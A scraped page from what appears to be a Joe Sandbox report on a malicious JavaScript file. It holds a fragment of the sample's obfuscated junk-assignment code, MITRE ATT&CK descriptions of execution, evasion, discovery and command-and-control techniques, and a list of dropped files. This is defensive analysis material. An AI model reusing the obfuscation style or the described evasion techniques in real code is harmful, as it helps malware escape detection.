1193	hwfbbnif = "E";
1194	hwfbbnif = "J";
1195	hwfbbnif = "V";
1196	hwfbbnif = "j";
1197	hwfbbnif = "u";
1198	hwfbbnif = "a";
1199	hwfbbnif = "g";
1200	hwfbbnif = "O";
1201	hwfbbnif = "d";
1202	hwfbbnif = "P";
1203	hwfbbnif = "I";
1204	hwfbbnif = "i";
1205	hwfbbnif = "e";
1206	hwfbbnif = "x";
1207	hwfbbnif = "m";
1208	hwfbbnif = "s";
1209	hwfbbnif = "L";
1210	hwfbbnif = "E";
1211	hwfbbnif = "T";
1212	hwfbbnif = "t";
1213	hwfbbnif = "o";
1214	hwfbbnif = "l";
1215	hwfbbnif = "s";
1216	hwfbbnif = "A";
1217	hwfbbnif = "x";
1218	hwfbbnif = "q";
1219	hwfbbnif = "a";
1220	hwfbbnif = "w";
1221	hwfbbnif = "p";
1222	hwfbbnif = "W";
1223	qymbuaf = "f";
1224	qymbuaf = "Q";
1225	qymbuaf = "G";
1226	qymbuaf = "P";
1227	qymbuaf = "n";
1228	qymbuaf = "v";
1229	qymbuaf = "z";
1230	qymbuaf = "f";
1231	qymbuaf = "A";
1232	qymbuaf = "k";
1233	qymbuaf = "h";
1234	qymbuaf = "H";
1235	qymbuaf = "e";
1236	qymbuaf = "G";
1237	qymbuaf = "D";
1238	qymbuaf = "K";
1239	qymbuaf = "E";
1240	qymbuaf = "Z";
1241	qymbuaf = "Q";
1242	qymbuaf = "c";
1243	qymbuaf = "r";
1244	qymbuaf = "Z";
1245	qymbuaf = "a";
1246	qymbuaf = "r";
1247	qymbuaf = "f";
1248	qymbuaf = "s";
1249	qymbuaf = "U";
1250	qymbuaf = "U";
1251	qymbuaf = "J";
1252	qymbuaf = "M";
1253	qymbuaf = "Z";
1254	qymbuaf = "B";
1255	qymbuaf = "u";
1256	qymbuaf = "J";
1257	qymbuaf = "I";
1258	qymbuaf = "S";
1259	qymbuaf = "O";
1260	qymbuaf = "z";
1261	qymbuaf = "L";
1262	qymbuaf = "v";
1263	apmjzf = "l";
1264	apmjzf = "H";
1265	apmjzf = "F";
1266	apmjzf = "X";
1267	apmjzf = "Y";
1268	apmjzf = "p";
1269	apmjzf = "h";
1270	apmjzf = "p";
1271	apmjzf = "Q";
1272	apmjzf = "k";
1273	apmjzf = "w";
1274	apmjzf = "x";
1275	apmjzf = "U";
1276	apmjzf = "u";
1277	apmjzf = "Z";
1278	apmjzf = "N";
1279	niuac = "L";
1280	niuac = "r";
1281	niuac = "C";
1282	niuac = "K";
1283	niuac = "l";
1284	niuac = "x";
1285	niuac = "j";
1286	niuac = "u";
1287	niuac = "H";
1288	niuac = "j";
1289	niuac = "M";
1290	niuac = "m";
1291	niuac = "I";
1292	niuac = "k";
1293	niuac = "u";
1294	niuac = "k";
1295	niuac = "n";
1296	niuac = "n";
1297	niuac = "c";
1298	niuac = "K";
1299	jtnagcyuo = "m";
1300	lqmvksqzv ( );	lqmvksqzv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1383920648257922108.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\664da99d-3d1d-47e9-9d0e-fb7aa03c5100.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1028

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1383920648257922108.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre